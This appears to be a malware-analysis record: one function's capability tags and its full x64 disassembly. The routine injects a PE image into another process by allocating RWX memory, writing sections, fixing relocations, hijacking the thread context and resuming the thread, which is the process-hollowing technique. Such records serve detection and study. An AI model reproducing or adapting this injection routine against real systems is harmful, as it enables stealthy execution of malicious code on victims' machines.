Function at 0x140003890
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x330
mov rax, qword [0x140046030]
xor rax, rsp
mov qword [rsp + 0x328], rax
movsxd r15, dword [0x140046c6c]
lea r13, [0x140046c30]
add r15, r13
mov dword [rsp + 0x20], 0x40
mov r12, rcx
mov qword [rsp + 0x40], r15
mov rcx, qword [rcx]
xor edx, edx
mov r9d, 0x3000
mov r8d, dword [r15 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140003b69
mov r9d, dword [r15 + 0x54]
mov ecx, eax
sub ecx, dword [r15 + 0x34]
xor r14d, r14d
mov dword [r15 + 0x34], eax
mov r8, r13
mov rdx, qword [rsp + 0x48]
mov dword [rsp + 0x30], ecx
mov rcx, qword [r12]
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003b69
movsxd rbx, dword [0x140046c6c]
cmp dword [rbx + r13 + 0xa0], r14d
je 0x140003954
mov rbx, qword [rbx + r13 + 0xa0]
jmp 0x140003957
mov rbx, r14
mov rbp, r14
mov qword [rsp + 0x38], rbx
mov edi, r14d
cmp r14w, word [r15 + 6]
jae 0x140003b69
mov rsi, r14
movzx eax, word [r15 + 0x14]
lea rdx, [r15 + 0x18]
add rax, rsi
add rdx, rax
mov r10d, dword [rdx + 0xc]
cmp ebx, r10d
jb 0x140003994
mov ecx, dword [rdx + 8]
add ecx, r10d
cmp ebx, ecx
cmovb rbp, rdx
mov r8d, dword [rdx + 0x14]
mov r9d, dword [rdx + 0x10]
add r8, r13
mov rcx, qword [r12]
mov rdx, r10
add rdx, qword [rsp + 0x48]
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003b69
movzx eax, word [r15 + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x140003970
test rbp, rbp
je 0x140003b69
mov r13d, dword [rsp + 0x3c]
mov ebx, r14d
test r13d, r13d
je 0x140003add
mov r8d, 0x1000
lea rdx, [0x140046c30]
xor r15d, r15d
nop word [rax + rax]
mov eax, dword [rbp + 0x14]
mov r14d, ebx
add ebx, 8
add r14, rax
add r14, rdx
mov eax, dword [r14 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x140003acc
mov r13d, dword [rsp + 0x30]
mov esi, eax
nop dword [rax]
mov eax, dword [rbp + 0x14]
mov ecx, ebx
add ebx, 2
add rcx, rax
movzx edx, word [rcx + rdx]
cmp dx, r8w
jb 0x140003aaf
mov rcx, qword [rsp + 0x48]
lea r8, [rsp + 0x320]
mov edi, dword [r14]
and edx, 0xfff
add rcx, rdx
mov dword [rsp + 0x320], r15d
add rdi, rcx
mov qword [rsp + 0x20], r15
mov rcx, qword [r12]
mov rdx, rdi
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [r12]
lea r8, [rsp + 0x320]
add dword [rsp + 0x320], r13d
mov r9d, 4
mov rdx, rdi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x1000
lea rdx, [0x140046c30]
sub rsi, 1
jne 0x140003a30
mov r13d, dword [rsp + 0x3c]
lea rdx, [0x140046c30]
cmp ebx, r13d
jb 0x140003a00
mov r15, qword [rsp + 0x40]
xor r14d, r14d
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x2c8
call fcn.14000ce70
mov rcx, qword [r12 + 8]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140003b69
mov edx, dword [rsp + 0xf4]
lea r8, [rsp + 0x48]
mov rcx, qword [r12]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003b69
mov ecx, dword [r15 + 0x28]
lea rdx, [rsp + 0x50]
add ecx, dword [rsp + 0x48]
mov dword [rsp + 0x100], ecx
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x140003b69
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x140003b6b
xor eax, eax
mov rcx, qword [rsp + 0x328]
xor rcx, rsp
call fcn.14000a910
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret